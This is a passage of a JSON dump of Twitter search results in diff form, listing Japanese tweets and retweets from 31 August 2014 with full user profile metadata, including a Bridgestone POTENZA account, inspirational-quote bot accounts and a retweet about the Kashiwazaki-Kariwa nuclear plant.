"ブリヂストンのスポーツタイヤ「POTENZA」のアカウントです。レースやタイヤの事などをつぶやきます。今シーズンも「チャンピオンタイヤの称号は譲らない」をキャッチコピーに、タイヤ供給チームを全力でサポートしていきますので、応援よろしくお願いします!なお、返信ができない場合もありますので、ご了承よろしくお願い致します。", + "url": "http://t.co/LruVPk5x4K", + "entities": { + "url": { + "urls": [ + { + "url": "http://t.co/LruVPk5x4K", + "expanded_url": "http://www.bridgestone.co.jp/sc/potenza/", + "display_url": "bridgestone.co.jp/sc/potenza/", + "indices": [ + 0, + 22 + ] + } + ] + }, + "description": { + "urls": [] + } + }, + "protected": false, + "followers_count": 9612, + "friends_count": 308, + "listed_count": 373, + "created_at": "Sun Aug 21 11:33:38 +0000 2011", + "favourites_count": 26, + "utc_offset": -36000, + "time_zone": "Hawaii", + "geo_enabled": true, + "verified": false, + "statuses_count": 10032, + "lang": "ja", + "contributors_enabled": false, + "is_translator": false, + "is_translation_enabled": false, + "profile_background_color": "131516", + "profile_background_image_url": "http://abs.twimg.com/images/themes/theme14/bg.gif", + "profile_background_image_url_https": "https://abs.twimg.com/images/themes/theme14/bg.gif", + "profile_background_tile": true, + "profile_image_url": "http://pbs.twimg.com/profile_images/1507885396/TW_image_normal.jpg", + "profile_image_url_https": "https://pbs.twimg.com/profile_images/1507885396/TW_image_normal.jpg", + "profile_banner_url": "https://pbs.twimg.com/profile_banners/359324738/1402546267", + "profile_link_color": "FF2424", + "profile_sidebar_border_color": "EEEEEE", + "profile_sidebar_fill_color": "EFEFEF", + "profile_text_color": "333333", + "profile_use_background_image": true, + "default_profile": false, + "default_profile_image": false, + "following": false, + "follow_request_sent": false, + "notifications": false + }, + "geo": null, + "coordinates": null, + "place": null, + "contributors": null, + "retweet_count": 7, + "favorite_count": 0, + "entities": { + "hashtags": [], + "symbols": [], + "urls": [], + "user_mentions": [ + { + "screen_name": "8CBR8", + "name": "CBR Rider #17 KEIHIN", + "id": 333344408, + "id_str": "333344408", + "indices": [ + 12, + 18 + ] + }, + { + "screen_name": "POTENZA_SUPERGT", + "name": "POTENZA_SUPERGT", + "id": 359324738, + "id_str": "359324738", + "indices": [ + 20, + 36 + ] + } + ], + "media": [ + { + "id": 505868690252779500, + "id_str": "505868690252779521", + "indices": [ + 75, + 97 + ], + "media_url": "http://pbs.twimg.com/media/BwU05MGCUAEY6Wu.jpg", + "media_url_https": "https://pbs.twimg.com/media/BwU05MGCUAEY6Wu.jpg", + "url": "http://t.co/FzTyFnt9xH", + "display_url": "pic.twitter.com/FzTyFnt9xH", + "expanded_url": "http://twitter.com/8CBR8/status/505868690588303360/photo/1", + "type": "photo", + "sizes": { + "medium": { + "w": 600, + "h": 399, + "resize": "fit" + }, + "thumb": { + "w": 150, + "h": 150, + "resize": "crop" + }, + "large": { + "w": 1024, + "h": 682, + "resize": "fit" + }, + "small": { + "w": 340, + "h": 226, + "resize": "fit" + } + }, + "source_status_id": 505868690588303360, + "source_status_id_str": "505868690588303360" + } + ] + }, + "favorited": false, + "retweeted": false, + "possibly_sensitive": false, + "lang": "ja" + }, + "retweet_count": 7, + "favorite_count": 0, + "entities": { + "hashtags": [], + "symbols": [], + "urls": [], + "user_mentions": [ + { + "screen_name": "POTENZA_SUPERGT", + "name": "POTENZA_SUPERGT", + "id": 359324738, + "id_str": "359324738", + "indices": [ + 3, + 19 + ] + }, + { + "screen_name": "8CBR8", + "name": "CBR Rider #17 KEIHIN", + "id": 333344408, + "id_str": "333344408", + "indices": [ + 33, + 39 + ] + }, + { + "screen_name": "POTENZA_SUPERGT", + "name": "POTENZA_SUPERGT", + "id": 359324738, + "id_str": "359324738", + "indices": [ + 41, + 57 + ] + } + ], + "media": [ + { + "id": 505868690252779500, + "id_str": "505868690252779521", + "indices": [ + 96, + 118 + ], + "media_url": "http://pbs.twimg.com/media/BwU05MGCUAEY6Wu.jpg", + "media_url_https": "https://pbs.twimg.com/media/BwU05MGCUAEY6Wu.jpg", + "url": "http://t.co/FzTyFnt9xH", + "display_url": "pic.twitter.com/FzTyFnt9xH", + "expanded_url": "http://twitter.com/8CBR8/status/505868690588303360/photo/1", + "type": "photo", + "sizes": { + "medium": { + "w": 600, + "h": 399, + "resize": "fit" + }, + "thumb": { + "w": 150, + "h": 150, + "resize": "crop" + }, + "large": { + "w": 1024, + "h": 682, + "resize": "fit" + }, + "small": { + "w": 340, + "h": 226, + "resize": "fit" + } + }, + "source_status_id": 505868690588303360, + "source_status_id_str": "505868690588303360" + } + ] + }, + "favorited": false, + "retweeted": false, + "possibly_sensitive": false, + "lang": "ja" + }, + { + "metadata": { + "result_type": "recent", + "iso_language_code": "ja" + }, + "created_at": "Sun Aug 31 00:29:09 +0000 2014", + "id": 505874901689851900, + "id_str": "505874901689851904", + "text": "RT @shiawaseomamori: 一に止まると書いて、正しいという意味だなんて、この年になるまで知りませんでした。 人は生きていると、前へ前へという気持ちばかり急いて、どんどん大切なものを置き去りにしていくものでしょう。本当に正しいことというのは、一番初めの場所にあるの…", + "source": "ここだけの本音★男子編", + "truncated": false, + "in_reply_to_status_id": null, + "in_reply_to_status_id_str": null, + "in_reply_to_user_id": null, + "in_reply_to_user_id_str": null, + "in_reply_to_screen_name": null, + "user": { + "id": 2762136439, + "id_str": "2762136439", + "name": "ここだけの本音★男子編", + "screen_name": "danshi_honne1", + "location": "", + "description": "思ってるけど言えない!でもホントは言いたいこと、実はいっぱいあるんです! \r\nそんな男子の本音を、つぶやきます。 \r\nその気持わかるって人は RT & フォローお願いします♪", + "url": null, + "entities": { + "description": { + "urls": [] + } + }, + "protected": false, + "followers_count": 101, + "friends_count": 985, + "listed_count": 0, + "created_at": "Sun Aug 24 11:11:30 +0000 2014", + "favourites_count": 0, + "utc_offset": null, + "time_zone": null, + "geo_enabled": false, + "verified": false, + "statuses_count": 209, + "lang": "ja", + "contributors_enabled": false, + "is_translator": false, + "is_translation_enabled": false, + "profile_background_color": "C0DEED", + "profile_background_image_url": "http://abs.twimg.com/images/themes/theme1/bg.png", + "profile_background_image_url_https": "https://abs.twimg.com/images/themes/theme1/bg.png", + "profile_background_tile": false, + "profile_image_url": "http://pbs.twimg.com/profile_images/503500282840354816/CEv8UMay_normal.png", + "profile_image_url_https": "https://pbs.twimg.com/profile_images/503500282840354816/CEv8UMay_normal.png", + "profile_banner_url": "https://pbs.twimg.com/profile_banners/2762136439/1408878822", + "profile_link_color": "0084B4", + "profile_sidebar_border_color": "C0DEED", + "profile_sidebar_fill_color": "DDEEF6", + "profile_text_color": "333333", + "profile_use_background_image": true, + "default_profile": true, + "default_profile_image": false, + "following": false, + "follow_request_sent": false, + "notifications": false + }, + "geo": null, + "coordinates": null, + "place": null, + "contributors": null, + "retweeted_status": { + "metadata": { + "result_type": "recent", + "iso_language_code": "ja" + }, + "created_at": "Sun Aug 31 00:16:06 +0000 2014", + "id": 505871615125491700, + "id_str": "505871615125491712", + "text": "一に止まると書いて、正しいという意味だなんて、この年になるまで知りませんでした。 人は生きていると、前へ前へという気持ちばかり急いて、どんどん大切なものを置き去りにしていくものでしょう。本当に正しいことというのは、一番初めの場所にあるのかもしれません。 by神様のカルテ、夏川草介", + "source": "幸せの☆お守り", + "truncated": false, + "in_reply_to_status_id": null, + "in_reply_to_status_id_str": null, + "in_reply_to_user_id": null, + "in_reply_to_user_id_str": null, + "in_reply_to_screen_name": null, + "user": { + "id": 2745121514, + "id_str": "2745121514", + "name": "幸せの☆お守り", + "screen_name": "shiawaseomamori", + "location": "", + "description": "自分が幸せだと周りも幸せにできる! \r\nそんな人生を精一杯生きるために必要な言葉をお届けします♪ \r\nいいなと思ったら RT & 相互フォローで、お願いします。", + "url": null, + "entities": { + "description": { + "urls": [] + } + }, + "protected": false, + "followers_count": 213, + "friends_count": 991, + "listed_count": 0, + "created_at": "Tue Aug 19 14:45:19 +0000 2014", + "favourites_count": 0, + "utc_offset": null, + "time_zone": null, + "geo_enabled": false, + "verified": false, + "statuses_count": 349, + "lang": "ja", + "contributors_enabled": false, + "is_translator": false, + "is_translation_enabled": false, + "profile_background_color": "C0DEED", + "profile_background_image_url": "http://abs.twimg.com/images/themes/theme1/bg.png", + "profile_background_image_url_https": "https://abs.twimg.com/images/themes/theme1/bg.png", + "profile_background_tile": false, + "profile_image_url": "http://pbs.twimg.com/profile_images/501742437606244354/scXy81ZW_normal.jpeg", + "profile_image_url_https": "https://pbs.twimg.com/profile_images/501742437606244354/scXy81ZW_normal.jpeg", + "profile_banner_url": "https://pbs.twimg.com/profile_banners/2745121514/1408459730", + "profile_link_color": "0084B4", + "profile_sidebar_border_color": "C0DEED", + "profile_sidebar_fill_color": "DDEEF6", + "profile_text_color": "333333", + "profile_use_background_image": true, + "default_profile": true, + "default_profile_image": false, + "following": false, + "follow_request_sent": false, + "notifications": false + }, + "geo": null, + "coordinates": null, + "place": null, + "contributors": null, + "retweet_count": 58, + "favorite_count": 0, + "entities": { + "hashtags": [], + "symbols": [], + "urls": [], + "user_mentions": [] + }, + "favorited": false, + "retweeted": false, + "lang": "ja" + }, + "retweet_count": 58, + "favorite_count": 0, + "entities": { + "hashtags": [], + "symbols": [], + "urls": [], + "user_mentions": [ + { + "screen_name": "shiawaseomamori", + "name": "幸せの☆お守り", + "id": 2745121514, + "id_str": "2745121514", + "indices": [ + 3, + 19 + ] + } + ] + }, + "favorited": false, + "retweeted": false, + "lang": "ja" + }, + { + "metadata": { + "result_type": "recent", + "iso_language_code": "ja" + }, + "created_at": "Sun Aug 31 00:29:09 +0000 2014", + "id": 505874900939046900, + "id_str": "505874900939046912", + "text": "RT @UARROW_Y: ようかい体操第一を踊る国見英 http://t.co/SXoYWH98as", + "source": "Twitter for iPhone", + "truncated": false, + "in_reply_to_status_id": null, + "in_reply_to_status_id_str": null, + "in_reply_to_user_id": null, + "in_reply_to_user_id_str": null, + "in_reply_to_screen_name": null, + "user": { + "id": 2454426158, + "id_str": "2454426158", + "name": "ぴかりん", + "screen_name": "gncnToktTtksg", + "location": "", + "description": "銀魂/黒バス/進撃/ハイキュー/BLEACH/うたプリ/鈴木達央さん/神谷浩史さん 気軽にフォローしてください(^∇^)✨", + "url": null, + "entities": { + "description": { + "urls": [] + } + }, + "protected": false, + "followers_count": 1274, + "friends_count": 1320, + "listed_count": 17, + "created_at": "Sun Apr 20 07:48:53 +0000 2014", + "favourites_count": 2314, + "utc_offset": null, + "time_zone": null, + "geo_enabled": false, + "verified": false, + "statuses_count": 5868, + "lang": "ja", + "contributors_enabled": false, + "is_translator": false, + "is_translation_enabled": false, + "profile_background_color": "C0DEED", + "profile_background_image_url": "http://abs.twimg.com/images/themes/theme1/bg.png", + "profile_background_image_url_https": "https://abs.twimg.com/images/themes/theme1/bg.png", + "profile_background_tile": false, + "profile_image_url": "http://pbs.twimg.com/profile_images/457788684146716672/KCOy0S75_normal.jpeg", + "profile_image_url_https": "https://pbs.twimg.com/profile_images/457788684146716672/KCOy0S75_normal.jpeg", + "profile_banner_url": "https://pbs.twimg.com/profile_banners/2454426158/1409371302", + "profile_link_color": "0084B4", + "profile_sidebar_border_color": "C0DEED", + "profile_sidebar_fill_color": "DDEEF6", + "profile_text_color": "333333", + "profile_use_background_image": true, + "default_profile": true, + "default_profile_image": false, + "following": false, + "follow_request_sent": false, + "notifications": false + }, + "geo": null, + "coordinates": null, + "place": null, + "contributors": null, + "retweeted_status": { + "metadata": { + "result_type": "recent", + "iso_language_code": "ja" + }, + "created_at": "Sun Aug 31 00:16:45 +0000 2014", + "id": 505871779949051900, + "id_str": "505871779949051904", + "text": "ようかい体操第一を踊る国見英 http://t.co/SXoYWH98as", + "source": "Twitter for Android", + "truncated": false, + "in_reply_to_status_id": null, + "in_reply_to_status_id_str": null, + "in_reply_to_user_id": null, + "in_reply_to_user_id_str": null, + "in_reply_to_screen_name": null, + "user": { + "id": 1261662588, + "id_str": "1261662588", + "name": "ゆう矢", + "screen_name": "UARROW_Y", + "location": "つくり出そう国影の波 広げよう国影の輪", + "description": "HQ!! 成人済腐女子。日常ツイート多いです。赤葦京治夢豚クソツイ含みます注意。フォローをお考えの際はプロフご一読お願い致します。FRBお気軽に", + "url": "http://t.co/LFX2XOzb0l", + "entities": { + "url": { + "urls": [ + { + "url": "http://t.co/LFX2XOzb0l", + "expanded_url": "http://twpf.jp/UARROW_Y", + "display_url": "twpf.jp/UARROW_Y", + "indices": [ + 0, + 22 + ] + } + ] + }, + "description": { + "urls": [] + } + }, + "protected": false, + "followers_count": 265, + "friends_count": 124, + "listed_count": 12, + "created_at": "Tue Mar 12 10:42:17 +0000 2013", + "favourites_count": 6762, + "utc_offset": 32400, + "time_zone": "Tokyo", + "geo_enabled": true, + "verified": false, + "statuses_count": 55946, + "lang": "ja", + "contributors_enabled": false, + "is_translator": false, + "is_translation_enabled": false, + "profile_background_color": "C0DEED", + "profile_background_image_url": "http://abs.twimg.com/images/themes/theme1/bg.png", + "profile_background_image_url_https": "https://abs.twimg.com/images/themes/theme1/bg.png", + "profile_background_tile": false, + "profile_image_url": "http://pbs.twimg.com/profile_images/502095104618663937/IzuPYx3E_normal.png", + "profile_image_url_https": "https://pbs.twimg.com/profile_images/502095104618663937/IzuPYx3E_normal.png", + "profile_banner_url": "https://pbs.twimg.com/profile_banners/1261662588/1408618604", + "profile_link_color": "0084B4", + "profile_sidebar_border_color": "C0DEED", + "profile_sidebar_fill_color": "DDEEF6", + "profile_text_color": "333333", + "profile_use_background_image": true, + "default_profile": true, + "default_profile_image": false, + "following": false, + "follow_request_sent": false, + "notifications": false + }, + "geo": null, + "coordinates": null, + "place": null, + "contributors": null, + "retweet_count": 29, + "favorite_count": 54, + "entities": { + "hashtags": [], + "symbols": [], + "urls": [ + { + "url": "http://t.co/SXoYWH98as", + "expanded_url": "http://twitter.com/UARROW_Y/status/505871779949051904/photo/1", + "display_url": "pic.twitter.com/SXoYWH98as", + "indices": [ + 15, + 37 + ] + } + ], + "user_mentions": [] + }, + "favorited": false, + "retweeted": false, + "possibly_sensitive": false, + "lang": "ja" + }, + "retweet_count": 29, + "favorite_count": 0, + "entities": { + "hashtags": [], + "symbols": [], + "urls": [ + { + "url": "http://t.co/SXoYWH98as", + "expanded_url": "http://twitter.com/UARROW_Y/status/505871779949051904/photo/1", + "display_url": "pic.twitter.com/SXoYWH98as", + "indices": [ + 29, + 51 + ] + } + ], + "user_mentions": [ + { + "screen_name": "UARROW_Y", + "name": "ゆう矢", + "id": 1261662588, + "id_str": "1261662588", + "indices": [ + 3, + 12 + ] + } + ] + }, + "favorited": false, + "retweeted": false, + "possibly_sensitive": false, + "lang": "ja" + }, + { + "metadata": { + "result_type": "recent", + "iso_language_code": "ja" + }, + "created_at": "Sun Aug 31 00:29:09 +0000 2014", + "id": 505874900561580000, + "id_str": "505874900561580032", + "text": "今日は一高と三桜(・θ・)\n光梨ちゃんに会えないかな〜", + "source": "Twitter for iPhone", + "truncated": false, + "in_reply_to_status_id": null, + "in_reply_to_status_id_str": null, + "in_reply_to_user_id": null, + "in_reply_to_user_id_str": null, + "in_reply_to_screen_name": null, + "user": { + "id": 1366375976, + "id_str": "1366375976", + "name": "ゆいの", + "screen_name": "yuino1006", + "location": "", + "description": "さんおう 男バスマネ2ねん(^ω^)", + "url": null, + "entities": { + "description": { + "urls": [] + } + }, + "protected": false, + "followers_count": 270, + "friends_count": 260, + "listed_count": 0, + "created_at": "Sat Apr 20 07:02:08 +0000 2013", + "favourites_count": 1384, + "utc_offset": 32400, + "time_zone": "Irkutsk", + "geo_enabled": false, + "verified": false, + "statuses_count": 5202, + "lang": "ja", + "contributors_enabled": false, + "is_translator": false, + "is_translation_enabled": false, + "profile_background_color": "C0DEED", + "profile_background_image_url": "http://abs.twimg.com/images/themes/theme1/bg.png", + "profile_background_image_url_https": "https://abs.twimg.com/images/themes/theme1/bg.png", + "profile_background_tile": false, + "profile_image_url": "http://pbs.twimg.com/profile_images/505354401448349696/nxVFEQQ4_normal.jpeg", + "profile_image_url_https": "https://pbs.twimg.com/profile_images/505354401448349696/nxVFEQQ4_normal.jpeg", + "profile_banner_url": "https://pbs.twimg.com/profile_banners/1366375976/1399989379", + "profile_link_color": "0084B4", + "profile_sidebar_border_color": "C0DEED", + "profile_sidebar_fill_color": "DDEEF6", + "profile_text_color": "333333", + "profile_use_background_image": true, + "default_profile": true, + "default_profile_image": false, + "following": false, + "follow_request_sent": false, + "notifications": false + }, + "geo": null, + "coordinates": null, + "place": null, + "contributors": null, + "retweet_count": 0, + "favorite_count": 0, + "entities": { + "hashtags": [], + "symbols": [], + "urls": [], + "user_mentions": [] + }, + "favorited": false, + "retweeted": false, + "lang": "ja" + }, + { + "metadata": { + "result_type": "recent", + "iso_language_code": "ja" + }, + "created_at": "Sun Aug 31 00:29:09 +0000 2014", + "id": 505874899324248060, + "id_str": "505874899324248064", + "text": "RT @shiawaseomamori: 一に止まると書いて、正しいという意味だなんて、この年になるまで知りませんでした。 人は生きていると、前へ前へという気持ちばかり急いて、どんどん大切なものを置き去りにしていくものでしょう。本当に正しいことというのは、一番初めの場所にあるの…", + "source": "共感★絶対あるあるww", + "truncated": false, + "in_reply_to_status_id": null, + "in_reply_to_status_id_str": null, + "in_reply_to_user_id": null, + "in_reply_to_user_id_str": null, + "in_reply_to_screen_name": null, + "user": { + "id": 2704420069, + "id_str": "2704420069", + "name": "共感★絶対あるあるww", + "screen_name": "kyoukan_aru", + "location": "", + "description": "みんなにもわかってもらえる、あるあるを見つけたい。\r\n面白かったらRT & 相互フォローでみなさん、お願いします♪", + "url": null, + "entities": { + "description": { + "urls": [] + } + }, + "protected": false, + "followers_count": 857, + "friends_count": 1873, + "listed_count": 0, + "created_at": "Sun Aug 03 15:50:40 +0000 2014", + "favourites_count": 0, + "utc_offset": null, + "time_zone": null, + "geo_enabled": false, + "verified": false, + "statuses_count": 682, + "lang": "ja", + "contributors_enabled": false, + "is_translator": false, + "is_translation_enabled": false, + "profile_background_color": "C0DEED", + "profile_background_image_url": "http://abs.twimg.com/images/themes/theme1/bg.png", + "profile_background_image_url_https": "https://abs.twimg.com/images/themes/theme1/bg.png", + "profile_background_tile": false, + "profile_image_url": "http://pbs.twimg.com/profile_images/495960812670836737/1LqkoyvU_normal.jpeg", + "profile_image_url_https": "https://pbs.twimg.com/profile_images/495960812670836737/1LqkoyvU_normal.jpeg", + "profile_banner_url": "https://pbs.twimg.com/profile_banners/2704420069/1407081298", + "profile_link_color": "0084B4", + "profile_sidebar_border_color": "C0DEED", + "profile_sidebar_fill_color": "DDEEF6", + "profile_text_color": "333333", + "profile_use_background_image": true, + "default_profile": true, + "default_profile_image": false, + "following": false, + "follow_request_sent": false, + "notifications": false + }, + "geo": null, + "coordinates": null, + "place": null, + "contributors": null, + "retweeted_status": { + "metadata": { + "result_type": "recent", + "iso_language_code": "ja" + }, + "created_at": "Sun Aug 31 00:16:06 +0000 2014", + "id": 505871615125491700, + "id_str": "505871615125491712", + "text": "一に止まると書いて、正しいという意味だなんて、この年になるまで知りませんでした。 人は生きていると、前へ前へという気持ちばかり急いて、どんどん大切なものを置き去りにしていくものでしょう。本当に正しいことというのは、一番初めの場所にあるのかもしれません。 by神様のカルテ、夏川草介", + "source": "幸せの☆お守り", + "truncated": false, + "in_reply_to_status_id": null, + "in_reply_to_status_id_str": null, + "in_reply_to_user_id": null, + "in_reply_to_user_id_str": null, + "in_reply_to_screen_name": null, + "user": { + "id": 2745121514, + "id_str": "2745121514", + "name": "幸せの☆お守り", + "screen_name": "shiawaseomamori", + "location": "", + "description": "自分が幸せだと周りも幸せにできる! \r\nそんな人生を精一杯生きるために必要な言葉をお届けします♪ \r\nいいなと思ったら RT & 相互フォローで、お願いします。", + "url": null, + "entities": { + "description": { + "urls": [] + } + }, + "protected": false, + "followers_count": 213, + "friends_count": 991, + "listed_count": 0, + "created_at": "Tue Aug 19 14:45:19 +0000 2014", + "favourites_count": 0, + "utc_offset": null, + "time_zone": null, + "geo_enabled": false, + "verified": false, + "statuses_count": 349, + "lang": "ja", + "contributors_enabled": false, + "is_translator": false, + "is_translation_enabled": false, + "profile_background_color": "C0DEED", + "profile_background_image_url": "http://abs.twimg.com/images/themes/theme1/bg.png", + "profile_background_image_url_https": "https://abs.twimg.com/images/themes/theme1/bg.png", + "profile_background_tile": false, + "profile_image_url": "http://pbs.twimg.com/profile_images/501742437606244354/scXy81ZW_normal.jpeg", + "profile_image_url_https": "https://pbs.twimg.com/profile_images/501742437606244354/scXy81ZW_normal.jpeg", + "profile_banner_url": "https://pbs.twimg.com/profile_banners/2745121514/1408459730", + "profile_link_color": "0084B4", + "profile_sidebar_border_color": "C0DEED", + "profile_sidebar_fill_color": "DDEEF6", + "profile_text_color": "333333", + "profile_use_background_image": true, + "default_profile": true, + "default_profile_image": false, + "following": false, + "follow_request_sent": false, + "notifications": false + }, + "geo": null, + "coordinates": null, + "place": null, + "contributors": null, + "retweet_count": 58, + "favorite_count": 0, + "entities": { + "hashtags": [], + "symbols": [], + "urls": [], + "user_mentions": [] + }, + "favorited": false, + "retweeted": false, + "lang": "ja" + }, + "retweet_count": 58, + "favorite_count": 0, + "entities": { + "hashtags": [], + "symbols": [], + "urls": [], + "user_mentions": [ + { + "screen_name": "shiawaseomamori", + "name": "幸せの☆お守り", + "id": 2745121514, + "id_str": "2745121514", + "indices": [ + 3, + 19 + ] + } + ] + }, + "favorited": false, + "retweeted": false, + "lang": "ja" + }, + { + "metadata": { + "result_type": "recent", + "iso_language_code": "ja" + }, + "created_at": "Sun Aug 31 00:29:09 +0000 2014", + "id": 505874898493796350, + "id_str": "505874898493796352", + "text": "RT @assam_house: 泉田新潟県知事は、東電の申請書提出を容認させられただけで、再稼働に必要な「同意」はまだ与えていません。今まで柏崎刈羽の再稼働を抑え続けてきた知事に、もう一踏ん張りをお願いする意見を送って下さい。全国の皆様、お願いします!\nhttp://t.co…", + "source": "jigtwi for Android", + "truncated": false, + "in_reply_to_status_id": null, + "in_reply_to_status_id_str": null, + "in_reply_to_user_id": null, + "in_reply_to_user_id_str": null, + "in_reply_to_screen_name": null, + "user": { + "id": 960765968, + "id_str": "960765968", + "name": "さち", + "screen_name": "sachitaka_dears", + "location": "宮城県", + "description": "動物関連のアカウントです。サブアカウント@sachi_dears (さち ❷) もあります。『心あるものは皆、愛し愛されるために生まれてきた。そして愛情を感じながら生を全うするべきなんだ』", + "url": null, + "entities": { + "description": { + "urls": [] + } + }, + "protected": false, + "followers_count": 3212, + "friends_count": 3528, + "listed_count": 91, + "created_at": "Tue Nov 20 16:30:53 +0000 2012", + "favourites_count": 3180, + "utc_offset": 32400, + "time_zone": "Irkutsk", + "geo_enabled": false, + "verified": false, + "statuses_count": 146935, + "lang": "ja", + "contributors_enabled": false, + "is_translator": false, + "is_translation_enabled": false, + "profile_background_color": "C0DEED", + "profile_background_image_url": "http://abs.twimg.com/images/themes/theme1/bg.png", + "profile_background_image_url_https": "https://abs.twimg.com/images/themes/theme1/bg.png", + "profile_background_tile": false, + "profile_image_url": "http://pbs.twimg.com/profile_images/3659653229/5b698df67f5d105400e9077f5ea50e91_normal.png", + "profile_image_url_https": "https://pbs.twimg.com/profile_images/3659653229/5b698df67f5d105400e9077f5ea50e91_normal.png", + "profile_link_color": "0084B4", + "profile_sidebar_border_color": "C0DEED", + "profile_sidebar_fill_color": "DDEEF6", + "profile_text_color": "333333", + "profile_use_background_image": true, + "default_profile": true, + "default_profile_image": false, + "following": false, + "follow_request_sent": false, + "notifications": false + }, + "geo": null, + "coordinates": null, + "place": null, + "contributors": null, + "retweeted_status": { + "metadata": { + "result_type": "recent", + "iso_language_code": "ja" + }, + "created_at": "Tue Aug 19 11:00:53 +0000 2014", + "id": 501685228427964400, + "id_str": "501685228427964417", + "text": "泉田新潟県知事は、東電の申請書提出を容認させられただけで、再稼働に必要な「同意」はまだ与えていません。今まで柏崎刈羽の再稼働を抑え続けてきた知事に、もう一踏ん張りをお願いする意見を送って下さい。全国の皆様、お願いします!\nhttp://t.co/9oH5cgpy1q", + "source": "twittbot.net", + "truncated": false, + "in_reply_to_status_id": null, + "in_reply_to_status_id_str": null, + "in_reply_to_user_id": null, + "in_reply_to_user_id_str": null, + "in_reply_to_screen_name": null, + "user": { + "id": 1104771276, + "id_str": "1104771276", + "name": "アッサム山中(殺処分ゼロに一票)", + "screen_name": "assam_house", + "location": "新潟県柏崎市", + "description": "アッサム山中の趣味用アカ。当分の間、選挙啓発用としても使っていきます。このアカウントがアッサム山中本人のものである事は @assam_yamanaka のプロフでご確認下さい。\r\n公選法に係る表示\r\n庶民新党 #脱原発 http://t.co/96UqoCo0oU\r\nonestep.revival@gmail.com", + "url": "http://t.co/AEOCATaNZc", + "entities": { + "url": { + "urls": [ + { + "url": "http://t.co/AEOCATaNZc", + "expanded_url": "http://www.assam-house.net/", + "display_url": "assam-house.net", + "indices": [ + 0, + 22 + ] + } + ] + }, + "description": { + "urls": [ + { + "url": "http://t.co/96UqoCo0oU", + "expanded_url": "http://blog.assam-house.net/datsu-genpatsu/index.html", + "display_url": "blog.assam-house.net/datsu-genpatsu…", + "indices": [ + 110, + 132 + ] + } + ] + } + }, + "protected": false, + "followers_count": 2977, + "friends_count": 3127, + "listed_count": 64, + "created_at": "Sat Jan 19 22:10:13 +0000 2013", + "favourites_count": 343, + "utc_offset": 32400, + "time_zone": "Irkutsk", + "geo_enabled": false, + "verified": false, + "statuses_count": 18021, + "lang": "ja", + "contributors_enabled": false, + "is_translator": false, + "is_translation_enabled": false, + "profile_background_color": "C0DEED", + "profile_background_image_url": "http://abs.twimg.com/images/themes/theme1/bg.png", + "profile_background_image_url_https": "https://abs.twimg.com/images/themes/theme1/bg.png", + "profile_background_tile": false, + "profile_image_url": "http://pbs.twimg.com/profile_images/378800000067217575/e0a85b440429ff50430a41200327dcb8_normal.png", + "profile_image_url_https": "https://pbs.twimg.com/profile_images/378800000067217575/e0a85b440429ff50430a41200327dcb8_normal.png", + "profile_banner_url": "https://pbs.twimg.com/profile_banners/1104771276/1408948288", + "profile_link_color": "0084B4", + "profile_sidebar_border_color": "C0DEED", + "profile_sidebar_fill_color": "DDEEF6", + "profile_text_color": "333333", + "profile_use_background_image": true, + "default_profile": true, + "default_profile_image": false, + "following": false, + "follow_request_sent": false, + "notifications": false + }, + "geo": null, + "coordinates": null, + "place": null, + "contributors": null, + "retweet_count": 2, + "favorite_count": 0, + "entities": { + "hashtags": [], + "symbols": [], + "urls": [ + { + "url": "http://t.co/9oH5cgpy1q", + "expanded_url": "http://www.pref.niigata.lg.jp/kouhou/info.html", + "display_url": "pref.niigata.lg.jp/kouhou/info.ht…", + "indices": [ + 111, + 133 + ] + } + ], + "user_mentions": [] + }, + "favorited": false, + "retweeted": false, + "possibly_sensitive": false, + "lang": "ja" + }, + "retweet_count": 2, + "favorite_count": 0, + "entities": { + "hashtags": [], + "symbols": [], + "urls": [ + { + "url": "http://t.co/9oH5cgpy1q", + "expanded_url": "http://www.pref.niigata.lg.jp/kouhou/info.html", + "display_url": "pref.niigata.lg.jp/kouhou/info.ht…", + "indices": [ + 139, + 140 + ] + } + ], + "user_mentions": [ + { + "screen_name": "assam_house", + "name": "アッサム山中(殺処分ゼロに一票)", + "id": 1104771276, + "id_str": "1104771276", + "indices": [ + 3, + 15 + ] + } + ] + }, + "favorited": false, + "retweeted": false, + "possibly_sensitive": false, + "lang": "ja" + }, + { + "metadata": { + "result_type": "recent", + "iso_language_code": "ja" + }, + "created_at": "Sun Aug 31 00:29:09 +0000 2014", + "id": 505874898468630500, + "id_str": "505874898468630528", + "text": "RT @shiawaseomamori: 一に止まると書いて、正しいという意味だなんて、この年になるまで知りませんでした。 人は生きていると、前へ前へという気持ちばかり急いて、どんどん大切なものを置き去りにしていくものでしょう。本当に正しいことというのは、一番初めの場所にあるの…", + "source": "おしゃれ★ペアルック", + "truncated": false, + "in_reply_to_status_id": null, + "in_reply_to_status_id_str": null, + "in_reply_to_user_id": null, + "in_reply_to_user_id_str": null, + "in_reply_to_screen_name": null, + "user": { + "id": 2708607692, + "id_str": "2708607692", + "name": "おしゃれ★ペアルック", + "screen_name": "osyare_pea", + "location": "", + "description": "ラブラブ度がアップする、素敵なペアルックを見つけて紹介します♪ 気に入ったら RT & 相互フォローで みなさん、お願いします♪", + "url": null, + "entities": { + "description": { + "urls": [] + } + }, + "protected": false, + "followers_count": 129, + "friends_count": 1934, + "listed_count": 0, + "created_at": "Tue Aug 05 07:09:31 +0000 2014", + "favourites_count": 0, + "utc_offset": null, + "time_zone": null, + "geo_enabled": false, + "verified": false, + "statuses_count": 641, + "lang": "ja", + "contributors_enabled": false, + "is_translator": false, + "is_translation_enabled": false, + "profile_background_color": "C0DEED", + "profile_background_image_url": "http://abs.twimg.com/images/themes/theme1/bg.png", + "profile_background_image_url_https": "https://abs.twimg.com/images/themes/theme1/bg.png", + "profile_background_tile": false, + "profile_image_url": "http://pbs.twimg.com/profile_images/496554257676382208/Zgg0bmNu_normal.jpeg", + "profile_image_url_https": "https://pbs.twimg.com/profile_images/496554257676382208/Zgg0bmNu_normal.jpeg", + "profile_banner_url": "https://pbs.twimg.com/profile_banners/2708607692/1407222776", + "profile_link_color": "0084B4", + "profile_sidebar_border_color": "C0DEED", + "profile_sidebar_fill_color": "DDEEF6", + "profile_text_color": "333333", + "profile_use_background_image": true, + "default_profile": true, + "default_profile_image": false, + "following": false, + "follow_request_sent": false, + "notifications": false + }, + "geo": null, + "coordinates": null, + "place": null, + "contributors": null, + "retweeted_status": { + "metadata": { + "result_type": "recent", + "iso_language_code": "ja" + }, + "created_at": "Sun Aug 31 00:16:06 +0000 2014", + "id": 505871615125491700, + "id_str": "505871615125491712", + "text": 